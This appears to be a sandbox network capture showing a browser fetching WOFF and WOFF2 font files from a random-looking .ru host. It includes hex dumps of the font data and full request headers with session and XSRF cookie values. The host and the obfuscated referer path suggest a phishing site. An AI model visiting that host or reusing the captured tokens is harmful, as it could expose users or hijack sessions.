2025-03-20 15:55:36 UTC	421	IN	Data Raw: 77 4f 46 46 00 01 00 00 00 00 8c 82 00 11 00 00 00 01 24 20 00 01 00 00 00 00 8b 5c 00 00 01 26 00 00 02 93 00 00 00 00 00 00 00 00 44 53 49 47 00 00 8b 54 00 00 00 08 00 00 00 08 00 00 00 01 47 50 4f 53 00 00 01 80 00 00 17 df 00 00 4e b6 ed 42 8f b9 47 53 55 42 00 00 19 60 00 00 02 ad 00 00 04 96 8c 33 79 b9 4f 53 2f 32 00 00 1c 10 00 00 00 46 00 00 00 60 69 c3 7b 5b 63 6d 61 70 00 00 1c 58 00 00 05 1a 00 00 07 3c 97 3f 2b 12 63 76 74 20 00 00 84 dc 00 00 00 2f 00 00 00 3c 29 81 01 c0 66 70 67 6d 00 00 85 0c 00 00 05 c1 00 00 0b e2 3f ae 1b 9f 67 61 73 70 00 00 84 d4 00 00 00 08 00 00 00 08 00 00 00 10 67 6c 79 66 00 00 21 74 00 00 52 61 00 00 9d a4 24 e0 b2 69 68 65 61 64 00 00 73 d8 00 00 00 33 00 00 00 36 1b 16 7d b8 68 68 65 61 00 00 74 0c 00 00 00 Data Ascii: wOFF$ \&DSIGTGPOSNBGSUB`3yOS/2F`i{[cmapX<?+cvt /<)fpgm?gaspglyf!tRa$iheads36}hheat
2025-03-20 15:55:36 UTC	1369	IN	Data Raw: 56 b4 5d 33 ae a9 e3 72 a8 cb 35 63 07 ac 1d 6a f9 b5 2e 01 87 5f e5 37 55 b0 94 89 48 01 15 31 4d 53 45 08 10 10 30 62 a0 11 62 26 86 bf 18 92 f0 88 f1 25 e4 cc 77 f6 fd c9 7d c9 7b 89 da fa a0 b3 e6 ee 75 ef bb f7 9e 73 cf de 67 ff ef 73 6f 42 4c 44 7e 1a 43 93 29 6e d4 e8 31 f7 51 d2 e4 7f 7a f2 71 ca 20 0f ee 93 52 a4 db 93 29 6e ec 98 51 59 94 76 df c4 7b b2 28 cb ba cf d6 6f 9c f5 1b 4f 9e 7f fd e9 bf e1 d9 f6 47 8c c1 b2 7b 74 6f ec 7e 7f 1c ae de 14 2c f7 f3 23 3c 99 77 c4 dd 17 57 10 9f 1c 3f 36 be dc 33 d1 f3 8f 9e 83 9e 32 cf 29 4f a3 a7 b1 8b bf cb cc 84 d1 5d 96 60 5f 61 04 12 46 27 8c 36 a6 1a d3 8c 22 7d 26 e0 07 24 27 f4 4b 18 84 f3 61 80 11 4e 4b 24 18 93 30 31 61 72 c2 ec 84 e2 84 a3 09 b5 09 2d de 44 6f 5f ef 20 ef 48 ef 5d de 9f 78 27 Data Ascii: V]3r5cj._7UH1MSE0bb&%w}{usgsoBLD~C)n1Qzq R)nQYv{(oOG{to~,#<wW?632)O]`_aF'6"}&$'KaNK$01ar-Do_ H]x'
2025-03-20 15:55:36 UTC	1369	IN	Data Raw: 58 85 11 d2 31 b3 9e b0 7b 4d 51 81 50 b3 0d 52 6b 90 96 17 d1 52 41 39 68 c9 87 e7 2a 80 3e 4f 6f 29 a1 4b c0 f5 f5 f0 1b 53 d1 02 af a9 6a f1 5c 35 ed 52 8b 2c ff 51 06 6d 2d 81 47 da 02 6d cd e7 de 6a 25 34 b6 8c c7 42 da 53 d4 02 9e d1 b2 0d 33 59 01 a9 a5 43 bb 7b 62 cf 07 7d 05 f8 b5 ef c0 1f c1 1e 0a 40 41 bc 15 83 82 d2 47 5f 1d c4 55 95 a6 53 e8 eb 8b de 90 8a da 88 de 69 1a 3b e7 d1 48 a7 df 21 e9 a7 af ca 70 55 86 ab 06 70 03 96 0c be a7 83 1b 3d 65 5e 21 d1 d9 03 d2 53 df 91 d9 c2 e6 12 d0 e7 2a 6b ee 87 ad 99 d5 60 fc 6c 2e 84 8f 30 2c 5a bd 68 3d 29 78 74 74 cc a3 a1 c0 90 83 bb ee f6 a0 d5 ae a9 1b 2e f4 34 03 53 33 fa 79 f4 95 70 20 53 6c 19 74 61 f6 39 98 ab 7d 67 2f 46 d2 63 a5 b8 68 4b d5 bc 01 0f 2b f0 74 3c 22 75 ba da 09 2c 35 42 71 Data Ascii: X1{MQPRkRA9h>Oo)KSj\5R,Qm-Gmj%4BS3YC{b}@AG_USi;H!pUp=e^!Sk`l.0,Zh=)xtt.4S3yp Slta9}g/FchK+t<"u,5Bq
2025-03-20 15:55:36 UTC	1369	IN	Data Raw: e1 81 1a 9c f7 61 71 d6 bb 52 dd fe 6e d8 5b 3d 8f b5 a6 14 e3 dc 0e de e6 73 75 9c 12 cd 35 7d c9 3c 9b 74 46 ec ca 92 6d ea c4 d3 9a 19 70 8c 3c 94 47 bd aa 0e a9 8d e4 53 4d e0 61 39 38 59 ae 57 01 d5 02 6d ef 90 74 29 24 7e 14 b6 7e 1a 3d 35 e5 85 32 a3 05 72 3c 05 cf 7e d4 9a e3 7b 92 9b 94 a8 6a b5 1e e3 6d 91 ca ae cc da f5 0a bd ae f3 12 d1 1a 52 1b 51 65 1d c1 93 1a d3 6e 4a c3 a8 29 18 2f 53 bc 46 74 1e 36 62 fc 4f 75 66 a3 ce 60 8c 2f 81 3b 28 f9 bb 7e 63 de 20 51 e6 4b cc 20 84 5e 21 fb 5d b3 6e 35 d7 3b ed aa 0d 12 f8 0c 3d 9a ad a8 75 14 a3 d6 b7 ab e7 cd 77 98 f5 e6 33 fa bd 82 d4 d5 8d e8 dd 80 e7 1b c0 91 2f a3 52 79 0e 3d 8e b9 ae eb 4d da 65 6d 23 5a 45 19 72 e9 80 6d 69 e7 05 af 68 88 f0 2a d4 76 ad c7 7c 1f ec 64 0d e6 da 8e d6 f5 38 Data Ascii: aqRn[=su5}<tFmp<GSMa98YWmt)$~~=52r<~{jmRQenJ)/SFt6bOuf`/;(~c QK ^!]n5;=uw3/Ry=Mem#ZErmih*v\|d8
2025-03-20 15:55:36 UTC	1369	IN	Data Raw: 7d 8d 95 3b 37 69 88 90 93 46 91 5e eb fb 54 f8 f5 70 ef 13 72 ad ef 9d b1 6c 34 e8 ba 57 d1 d1 7b 38 f4 f2 4b fe bc db d1 9c e4 c8 6f eb 5d 95 d9 f9 30 ad 6d d5 f0 8a 8e 75 b2 53 bd f4 ba e9 0e cf 19 b1 cf 83 ad 3e 6f 67 7f 6d 2b 13 67 b6 b5 91 56 34 5d b4 17 a0 a6 ef 58 56 9d 78 6d 78 b0 43 c0 f2 15 6b c8 6f be 5a e1 ca 82 ab be 1e 2e d3 0b 7f 83 ad 5f c4 bb a3 ac 9c f6 ea 0e 9e d4 15 dc 30 b2 bf 89 cb 8e e0 df 5a fb f5 b7 ce d3 22 e5 15 f6 57 75 6a 2b 78 9c 26 7f 61 a6 39 ae 39 90 15 c6 89 e4 36 5f 3c 44 ff 42 3d a9 53 eb ec 4c 46 c9 d1 7c 73 84 2d de d2 b7 e8 6b 69 fe 8e 24 2e 4f b7 b8 28 4a b4 73 5a 78 8b c4 88 2b 24 5f 53 ab 90 d5 55 80 ca 32 59 7b 6a 6e f7 6d 5b 92 8b 72 c3 ce f9 c3 32 35 bd 52 a0 bf e6 6c 82 c5 eb d5 aa 7a c4 66 bb ee d1 5c ea 0f Data Ascii: };7iF^Tprl4W{8Ko]0muS>ogm+gV4]XVxmxCkoZ._0Z"Wuj+x&a996_<DB=SLF\|s-ki$.O(JsZx+$_SU2Y{jnm[r25Rlzf\
2025-03-20 15:55:36 UTC	1369	IN	Data Raw: 32 b0 54 cc b5 2f 66 a5 df 0f dd 2b de eb 52 58 cf 48 b4 8e 02 8f 52 20 c5 07 70 fc 67 fa 29 f0 3e 41 4f e3 fc 97 80 4b e9 19 9a 89 31 66 d1 1c e0 7d 96 16 63 9c 25 a0 db 43 cb 68 15 70 ad a6 97 81 6b 2d 20 81 5e 05 f4 81 0f fc 1d b8 bc 0e 30 01 1e f0 f7 e0 cc 7a 80 9f fe 1b 90 4d 79 80 3e f2 1f ac 7a d1 eb b4 11 54 ff 81 36 e1 ce 66 da 82 3b 6f 00 ae a0 37 01 13 e9 2d c0 04 da 0a e8 45 6f 03 ba d3 36 40 16 bd 03 48 a6 7c c0 9d f4 47 c0 25 54 00 f8 1e fd 09 10 80 b7 2d 04 6f ff 0c 48 a0 77 01 57 d0 76 40 02 bd 0f b8 1c fe 77 07 46 db 09 b8 82 8a 00 c9 f0 d2 bb a0 fd bb 01 13 e0 91 8b d1 ba 17 70 37 ed 03 f4 82 e7 fe 00 7a 73 00 30 44 fe bf d6 44 fa 08 30 01 9e fc 08 66 54 06 e8 43 9f 00 7a d1 51 d2 ff 53 e3 0c fc ba 97 82 80 09 f0 ee 44 97 c3 a7 7b 28 9b Data Ascii: 2T/f+RXHR pg)>AOK1f}c%Chpk- ^0zMy>zT6f;o7-Eo6@H\|G%T-oHwWv@wFp7zs0DD0fTCzQSD{(
2025-03-20 15:55:36 UTC	1369	IN	Data Raw: 7f cf 9d 45 a1 6c 61 b2 5c 77 3e 4c a4 84 8c ad 45 cb 0c 2a 29 a4 42 34 4a cb 90 f6 4c 08 63 8b 12 c3 60 b4 20 23 86 66 d0 31 46 26 46 06 43 b6 2c 61 8c f5 fb be f6 68 9f 16 4b 66 fa cf 52 a7 3a 75 f4 9e f3 de f7 fe cf 7b ee bd cf b9 ff e7 f7 bc 40 08 65 b3 1e b2 2b 61 31 56 a9 b4 0e 0d 6b 62 6b 0a 89 84 53 8b ab 68 cf 0d f4 21 8e 78 06 31 9c 51 2c 65 05 d9 ac 55 3d 8d 52 b2 8e ea a4 0a 55 ec d4 75 da 3a bd 9d 0f 9c 63 21 39 21 b9 6e ac 3b c1 9d ee 2e 76 33 dc 15 ee 2a 77 83 bb d9 dd e7 1e 74 0b dd d3 5e 4d af 8e e7 7a 3e 2f ca 6b e9 75 f0 62 bc a5 de 0a 2f cb cb f6 d6 45 d6 8a f4 45 46 45 4e 8b 4c f6 39 be 70 5f 15 5f 75 5f 1d 9f eb 6b e6 eb e2 8b f3 3d d4 78 7b d0 09 56 fc 65 d3 59 e7 6c 68 71 b1 e9 f3 68 41 07 6e a4 2f 03 4c d7 60 46 90 ca 72 b2 58 c3 Data Ascii: Ela\w>LE)B4JLc` #f1F&FC,ahKfR:u{@e+a1VkbkSh!x1Q,eU=RUu:c!9!n;.v3wt^Mz>/kub/EEFENL9p__u_k=x{VeYlhqhAn/L`FrX
2025-03-20 15:55:36 UTC	1369	IN	Data Raw: 4a 1a d2 b7 ed eb 24 2d 58 1f ff 9e bb cf b0 2c 5b 49 fb be df 7f 7e 06 5b d2 e9 b9 fb 3c f7 dc 73 cf ba e7 ee 10 83 0e 22 c4 be c5 be 82 58 a4 46 9a 0b 3c c7 20 26 2d 49 67 d0 1a 62 b5 06 ed 41 36 73 e4 3a 73 c3 7e 84 7d 65 64 e6 42 e6 af 76 3f 84 10 46 e5 a8 44 d3 c2 9d 42 1a 14 6f 8b 65 30 46 b8 8c 63 19 54 82 11 83 67 01 00 46 f5 04 ae 11 40 f1 6c ad 9e 51 07 24 61 3d c6 7a de a0 37 70 a5 23 0c 2b 08 39 fc 07 77 d2 70 e1 d7 8c 95 49 fe e6 17 37 10 6d b7 1e da 5d 28 b7 ab 86 ca b8 4c c5 33 b8 44 83 18 34 0b be 47 b8 9e 34 de 48 60 67 6b b5 b4 dd 58 83 c5 10 6b c1 98 eb c5 57 ee a4 f1 1f 08 39 ac 30 c2 e0 c2 f7 6f fc e2 1b fb 4d fb 8f 11 d4 75 47 88 8f e7 77 42 0f dd 51 9c cd 88 38 a8 cf e1 0e 1e b3 ac 77 39 03 ed fa a0 0a 84 dc dd 00 40 ad d5 6a 55 ea Data Ascii: J$-X,[I~[<s"XF< &-IgbA6s:s~}edBv?FDBoe0FcTgF@lQ$a=z7p#+9wpI7m](L3D4G4H`gkXkW90oMuGwBQ8w9@jU
2025-03-20 15:55:36 UTC	1369	IN	Data Raw: 53 d1 61 8b 19 93 7a 92 9c 31 51 29 93 c2 c8 3c ce 32 a7 85 d1 ef d5 d4 7c 0f e3 d3 a7 31 26 ef 84 d1 d3 4b 9f ec 48 4e ee 78 72 a9 f4 ea bf fa 1a d6 1c 38 80 35 d7 56 af be 26 fc f3 c0 01 e1 9f d7 56 7f 56 bd e7 7c 67 e7 f9 3d d5 f2 ab 28 03 b9 3e e8 b7 37 a0 94 68 33 01 2f 23 cc b0 b8 1d 84 84 2c 2e 68 f7 7d 7d 02 fc 7d 02 7d 03 b5 f1 51 44 7f 49 2a 04 94 87 11 68 21 ab 8f f3 f8 ed fe 8b db cb 2b 76 5e 1e bc 2c e0 2b f7 ac 5c b5 f1 2a bf 33 67 e0 58 57 f7 b1 3e ab fd 4d d6 d4 d2 d4 d4 2d dc 0b cf ad 1a dd c6 df 00 1a 05 a2 54 64 b3 15 44 84 87 85 fa f1 0c ab d7 81 81 c0 94 01 69 66 b9 20 5b 70 10 46 a6 d8 a0 d4 e0 54 20 5b 20 0e 9c 94 6c 80 a2 1a 24 80 09 74 85 c9 1a 98 95 e5 48 3f e6 9f 4e f4 9b 3d f3 f5 93 af 57 bc dc 9b d3 1e ff e6 73 af 44 45 7c 0b Data Ascii: Saz1Q)<2\|1&KHNxr85V&VV\|g=(>7h3/#,.h}}}}QDIh!+v^,+\3gXW>M-TdDif [pFT [ l$tH?N=WsDE\|
2025-03-20 15:55:36 UTC	1369	IN	Data Raw: 41 72 4c 99 b7 0a 0c eb 52 b0 b1 30 c3 e3 0e aa 73 c8 24 24 dc 0c 76 38 4c ca 50 22 11 c3 c3 f4 3a 2f 4f 0f 77 37 0d 0a c1 21 6a 90 8a 38 1a d0 cf b2 a6 d3 ae 98 b1 8a a0 2d fa 5c 2a 0c d8 1f 5e b2 a5 c8 2c 3b ab 97 18 73 77 57 46 42 74 86 7e 51 fc 06 fb 69 40 5c a8 5c 31 7f ea aa 44 d1 7b bd b3 ce d8 56 10 9f 12 15 bc 30 33 8f ff 39 c1 18 ec 2c 61 0e 07 b2 0f 45 a1 6a 5b 65 38 56 e3 08 8c d4 4c 99 1f f0 5f a9 c2 61 8e 7c 25 fa 61 e5 48 ad 46 cd 1a 19 ed d0 60 ad af 8f b7 88 38 08 f4 28 1c e5 36 86 ba c3 5c d4 7b b3 63 e8 b3 3f 5a b2 c5 6a b6 af 1a e3 9c ac 2a 73 90 8c be 30 67 c5 fc e2 e5 49 ca 04 e5 4d 59 b6 70 09 79 c0 bb 42 a8 64 32 01 ef 40 62 d1 f9 7b 68 80 11 c0 39 21 d2 48 56 33 2d ac 8c 9d 9f af 3b 35 4d 38 8a 13 28 19 40 0a 94 cb 38 52 16 e5 36 Data Ascii: ArLR0s$$v8LP":/Ow7!j8-\^,;swWFBt~Qi@\\1D{V039,aEj[e8VL_a\|%aHF`8(6\{c?Zjs0gIMYpyBd2@b{h9!HV3-;5M8(@8R6

Timestamp	Bytes transferred	Direction	Data
2025-03-20 15:55:35 UTC	1376	OUT	GET /GDSherpa-regular.woff2 HTTP/1.1 Host: b3rz.5m54lq.ru Connection: keep-alive Origin: https://b3rz.5m54lq.ru sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://b3rz.5m54lq.ru/UFIPVZXDJGVHYEWTscjkpacwfsrsahbhxx0rsr0tmc0ipx3ugeoe3q2?BCHJFAIFMWHGKNRVTUMGJXZSBCQC Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InNCK0JQU3dFb1FTUHVBOWlseHNJeHc9PSIsInZhbHVlIjoiNEU3QmNUdmVKVFVxWHFhajlHU08zQzFveHRUSkZpcm1nYjU3dzJmblh6aHQ5OWtWeDZPZENIVVY2dU10QXJXZ1hsUnhwQ1ozWXZDTFJ3aXBkR3BHZWh0OGdWL25LNHE2SWhlbW9CZ2RvMkhHOVM0OTgwTGkrMWVOaTRpbzFjUFoiLCJtYWMiOiIyM2VmYmYxNDliM2EyM2ZiMWIwNGY2ODcyMWQ3YTMxMjdjOWVmNWU4MzA1OTg2NzY3MzAyNzI5OWUzOWMxM2RhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlljdFNnaC9YMXlRc0d6MVVlMFdTbGc9PSIsInZhbHVlIjoiVklha1JsditVa2ZUZTFyeGdZNE9lN2RsemVRMnlVYzlwUHVDbjdpaDVVL1RES0xOMllBaC9lV3c5Zy9nbFJoY1NNMTRma1g2UHc1MXZxZEV4WjE3aExrTy9GVnI4OTQvWVR1MmlUeTNVakYzNHJ0K3h1NndXdUhZZGVma3A4MTQiLCJtYWMiOiIyZjEwMGNhYjM3YWFmMDYzMGJmNzM2MjBmOTYwMGI4ODllMzljM2MxMDA2YTY4YzNlNmY0MDk2YzM2ZmQ5YjZjIiwidGFnIjoiIn0%3D
2025-03-20 15:55:35 UTC	1177	IN	HTTP/1.1 200 OK Date: Thu, 20 Mar 2025 15:55:35 GMT Content-Type: font/woff2 Content-Length: 28584 Connection: close Content-Disposition: inline; filename="GDSherpa-regular.woff2" cf-cache-status: MISS Age: 2996 Last-Modified: Thu, 20 Mar 2025 15:05:39 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=M1u9%2FvOq5fQjVscOJI5sGXBA7IEtuTYWHkxKJqw9fFxM19WQd3yJGJ3eH6g2pl%2BbK9uF4RfBZdUeoceQhFyNGxkU9Q92teINmSEuD3RBr4%2BbADHDeD6fv99hUF1lTVLqtWsb"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=4916&min_rtt=4853&rtt_var=1482&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2822&recv_bytes=2282&delivery_rate=555427&cwnd=251&unsent_bytes=0&cid=078cadc7236e1725&ts=34&x=0" Cache-Control: max-age=14400 Server: cloudflare CF-RAY: 9236650b782f1a0f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=108361&min_rtt=107934&rtt_var=23437&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2819&recv_bytes=1948&delivery_rate=34065&cwnd=218&unsent_bytes=0&cid=b6fae1a04da1e638&ts=450&x=0"
2025-03-20 15:55:35 UTC	1369	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 6f a8 00 10 00 00 00 01 36 78 00 00 6f 47 00 01 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 81 bc 3e 1c 89 16 06 60 00 8e 3c 08 3c 09 97 62 11 08 0a 82 c0 68 82 a2 42 01 36 02 24 03 8e 78 0b 87 3e 00 04 20 05 8c 27 07 97 7b 0c 81 0d 5b 78 22 71 04 dd b6 5d c4 a2 0a ca 1b ec 97 68 4a b7 df b3 0a d8 b1 27 dc 0e e2 ce 96 b5 c5 0a 36 ae 32 bb 5b 95 0a ec 05 71 f6 ff ff 7f 7a d2 88 b1 6d 43 77 77 ff 00 08 2a a9 65 55 b0 0a 53 9a a2 10 14 ad 17 8a 9a 11 30 8d c1 53 1a 73 a6 e1 b6 2c ad b0 c2 e4 5c e5 65 96 de 46 b1 26 ef 94 d7 16 8d 6f 55 2a 52 1a 7d 51 f7 43 8e e7 32 b9 54 44 c8 b6 e1 0a d3 35 11 09 23 e7 fa 68 14 48 a4 32 ac 7c 3c e8 31 a3 7a a7 a2 5d cf 78 5a f4 95 0f 7a 9d f0 7a b2 e4 97 57 f8 13 be d9 Data Ascii: wOF2o6xoGB>`<<bhB6$x> '{[x"q]hJ'62[qzmCwweUS0Ss,\eF&oUR}QC2TD5#hH2\|<1z]xZzzW
2025-03-20 15:55:35 UTC	1369	IN	Data Raw: 2c e6 87 9a fd dc e2 d5 10 f9 bd 17 16 00 31 06 00 7c fd 7f ef 1a 7b a8 a5 cf cf 36 82 f6 eb 2b 17 19 61 8b 63 96 88 a5 7c 8a 06 63 d3 47 21 79 47 b8 2e 03 d0 15 18 89 8a 2d 79 bc 37 08 2e 54 a8 ec e6 e8 1f d5 e3 5b 6c 8d 6f b9 38 9b 4b af 0a ab be 55 5b af ad 7b c2 96 5e d8 17 56 6a 2b 64 f5 d0 5c b9 ec 6c 36 fb e7 a1 c5 79 8e c0 42 c7 58 8a a5 5d 4c 0c 8d 75 d1 23 f2 ee b3 57 e1 da b5 2e 6c ed 6d bd 27 ef 85 9b bf 2b 77 e3 2e dd d5 7b c7 3e b2 1f 5d c0 65 71 47 5d a6 5e 16 5f 0a 2e d5 97 e6 cb 36 73 ef 3d 87 fa 21 3e bc 8e f2 c3 70 d4 1e d6 a3 f0 50 1c cd 47 c7 71 c4 6b 2a 1b 42 e0 81 06 13 5c a8 51 a7 45 87 2e 3d 36 9c 38 db 5f 95 2a 35 3a 74 eb b1 d7 7e 07 1c 72 8a dc a0 f3 2e bb ea 1a 85 5b be e1 b7 ae 45 16 a7 97 a6 97 a7 d7 a7 b7 df df f6 d1 c7 9f Data Ascii: ,1\|{6+ac\|cG!yG.-y7.T[lo8KU[{^Vj+d\l6yBX]Lu#W.lm'+w.{>]eqG]^_.6s=!>pPGqkB\QE.=68_5:t~r.[E
2025-03-20 15:55:35 UTC	1369	IN	Data Raw: b2 e3 cf 4a 46 db c7 9b f0 ce 33 07 13 d8 b2 d4 47 d4 11 cd c6 5b a2 d0 ed ce 47 ff 15 ba eb 4f 6c fd 20 39 3b e1 4c 32 37 ad ae a5 21 71 b9 f4 9a 45 6f 7e ab 6d 18 95 e3 a3 49 61 23 78 e8 5d 4e b4 ac ed 4a de 7c 82 f1 60 d8 aa 6c 68 16 5f 74 10 f9 43 da bc 54 82 3b 09 20 5f 0d c5 88 ba 03 43 bd bf 16 b7 ad 41 23 b9 b9 52 f6 ac 5e a7 13 73 33 b0 43 9a a1 f4 cb ea 45 72 21 1f 1a 20 5c 44 3d 5d 6e 6b d0 d2 a0 69 35 ad ee 98 6f d1 d0 18 42 bc 02 a5 3c 4f 80 ba 61 03 b7 3c 9f 19 05 15 96 d6 04 87 df 73 68 7d 2b cc f1 5f 8f 96 87 dc f8 e9 0e a9 8b f3 d9 36 1a 9c 05 9e 9a 59 d1 d0 81 5e 1b 61 14 5c 66 14 4e 2d cd 68 52 82 8f 80 7d 85 a7 3b df f9 4e a3 34 51 9c 16 3a d7 60 d3 dc 02 d4 08 82 04 d1 4f 32 e3 5a ab 72 dc 86 8f 14 96 37 de ad 0a aa 5f 21 4c 44 82 9a Data Ascii: JF3G[GOl 9;L27!qEo~mIa#x]NJ\|`lh_tCT; _CA#R^s3CEr! \D=]nki5oB<Oa<sh}+_6Y^a\fN-hR};N4Q:`O2Zr7_!LD
2025-03-20 15:55:35 UTC	1369	IN	Data Raw: 33 f4 67 ab cf 8e be dd 94 bb 82 f4 fe 0a 00 a5 b2 2e 9e fb 66 0a 6a 38 ef 1a 6e ef 77 36 8b 69 68 74 9f 40 15 9d f6 24 fb 95 6c 71 0a 62 2f 54 aa c3 b7 72 21 bb c4 84 7c 04 db e3 bf 47 8d 95 ba d1 58 62 3e 63 c2 c7 e5 db 18 0b 03 c5 b7 16 cd a7 93 e4 d7 16 70 96 f0 80 30 26 6d 59 49 7f 94 33 c7 cc 72 47 67 5a 5d b0 03 2a b1 ff 65 b5 9b 72 eb 55 71 93 68 2d 32 b5 5a 23 da a1 0b 3b dc 19 15 75 8b 4d c6 91 49 b1 f4 3a 0c bb 7d 3c 35 b5 72 8f c8 a4 3c 53 c4 d8 66 49 d3 58 cb 13 c2 3b 65 36 2c b0 05 c3 02 e1 d6 41 a7 dd 6e 67 60 7b 6c 51 d8 4a cf 6b 92 fe 6e 87 21 49 4e 41 b9 34 2e bb a2 c7 61 47 05 cd 3a ae 14 b4 d5 6d a1 1c b7 6c fc 84 fb 09 23 4e d3 ba 7f 28 8e 71 11 b6 db ea 4b 87 c4 04 bc 1b 9b 5a 38 ec 42 13 a1 09 df 69 37 99 1a 14 18 87 12 f8 38 3f bd Data Ascii: 3g.fj8nw6iht@$lqb/Tr!\|GXb>cp0&mYI3rGgZ]*erUqh-2Z#;uMI:}<5r<SfIX;e6,Ang`{lQJkn!INA4.aG:ml#N(qKZ8Bi78?
2025-03-20 15:55:35 UTC	1369	IN	Data Raw: 28 1b 38 4f 45 06 73 ab f0 68 87 83 ea 26 14 67 ed e6 c5 b6 06 cb 25 4a f5 b0 0f 75 d8 c8 6c 0f 51 52 cb cb 6d 24 6c 9c 1b 67 a2 a2 a0 1c 73 61 81 03 53 a6 d4 9f 78 4a 4b 8b f4 59 15 a3 a0 b6 2b c8 6f 18 79 c4 28 89 13 49 3d 9d 37 50 87 ee a2 f5 41 9b f2 e2 8d 51 51 0c ac cc 54 ec 3b 0b 29 5d 34 c4 08 7f f6 ad f4 b6 3b 60 8c 39 bd 78 b6 0a 6a 4b ac 37 32 fe 8c ee e0 7c 7c e7 ee 38 94 87 59 0d 96 23 31 78 3f 6e a7 49 01 3b ee 40 62 72 5f 00 61 06 73 a9 87 48 55 d3 da d2 d4 b4 ee 73 bd 89 ea 71 c4 2c ef 6d 45 8e 0f a4 1e 2e 36 3d 81 82 e1 92 8c 21 e7 22 75 20 eb 65 4b 95 29 13 25 f9 b6 62 b0 1e b7 78 dc ea 5c 86 71 c8 97 4a 94 2a a5 6f c4 3b 1a f7 4e 18 11 6e b1 04 9b 00 c4 4b da 94 b2 c8 52 e2 05 c3 94 d9 72 ad 27 95 4d df 48 08 4a a6 52 9a b5 26 42 67 0a Data Ascii: (8OEsh&g%JulQRm$lgsaSxJKY+oy(I=7PAQQT;)]4;`9xjK72\|\|8Y#1x?nI;@br_asHUsq,mE.6=!"u eK)%bx\qJ*o;NnKRr'MHJR&Bg
2025-03-20 15:55:35 UTC	1369	IN	Data Raw: 1e cb 79 1e a3 a8 da ff c4 33 40 40 91 74 04 84 9c f5 d1 94 fd 5c cd 74 fb ec fe 14 58 10 91 46 34 4b 49 19 d5 a6 27 a8 66 06 dd 40 6b 40 43 f5 1f 04 01 21 a5 a4 28 01 1e 28 78 0d 37 84 c8 27 d2 8b 66 14 87 2d 26 18 cc b1 75 0e f0 27 23 a8 1b 45 c6 e9 d3 c0 f7 db c7 4f ce 5d 06 e0 de ff 17 cb ef e6 07 f9 3e 1c 0c 23 f8 0d 00 f6 62 fa 01 ee 45 03 a6 d4 06 01 80 98 8d 1e f0 66 bb d2 96 80 df 4b c2 82 a6 91 ea fe 0b 8b 03 37 1b 6c 14 23 41 97 ed fa ed 1f 7a 23 61 74 8f a1 f1 7a 7c 1e ff a9 10 e3 c3 3e 2e c7 dd 3c 90 47 ba f6 13 b0 d1 c5 02 bb 38 c0 0a 67 5d 74 cb 77 de f2 e5 91 53 ac cb cb c7 d7 dd 1e 70 d9 23 9e cc b6 34 2b 7f ba bb 56 b2 21 d9 91 ec 77 96 1e fd 2a ac 74 bf da c3 fb f6 12 f9 bd 56 78 38 7d 23 10 f1 30 72 89 28 28 55 99 d2 63 97 01 87 fb 57 Data Ascii: y3@@t\tXF4KI'f@k@C!((x7'f-&u'#EO]>#bEfK7l#Az#atz\|>.<G8g]twSp#4+V!w*tVx8}#0r((UcW
2025-03-20 15:55:35 UTC	1369	IN	Data Raw: 7c cc e0 16 60 50 11 37 40 c9 1c 53 b5 18 1f 68 26 41 ba f2 c1 a8 4f 3f f7 1e 31 c8 cd 7a 61 66 c3 1c 7d 2e c2 ae 12 0f f6 18 01 a3 58 ba 35 25 82 c2 04 a7 66 71 6a a0 cf 34 58 2c 37 a3 23 a6 31 3a 97 dc 6a 73 47 02 a4 4a 88 e2 55 57 90 75 6a 2a cc 73 f4 8c 16 c7 3b 52 84 4c 1d 58 d2 e3 3b cd f7 18 8b a8 1a 2f 19 89 26 73 64 bc de cb cd c7 f3 72 19 f1 c4 7e 38 72 5e 6f e7 d7 bb 25 52 88 2b bb 72 59 05 0d 52 6a bf be 9d 99 61 4b b4 5e 00 85 2c b5 d9 95 9e 47 e0 ae 49 86 d6 ad dc 14 17 c1 2d 8d a6 85 24 37 18 44 83 b4 a7 3b d4 c1 e6 c0 0f 60 01 17 29 f0 8a 77 bc 82 18 0c 53 32 83 37 6b 03 94 36 87 01 2a 13 11 d9 7c 0a 28 59 6b 18 f4 5e a6 d5 a4 05 8d 26 6a 85 d4 a4 0a db ef bd f5 f5 24 41 23 8d df ff df 9f 75 de 3d 5c 2a 8e 8a 06 e5 2d 47 4d 23 29 a5 b1 31 Data Ascii: \|`P7@Sh&AO?1zaf}.X5%fqj4X,7#1:jsGJUWujs;RLX;/&sdr~8r^o%R+rYRjaK^,GI-$7D;`)wS27k6\|(Yk^&j$A#u=\*-GM#)1
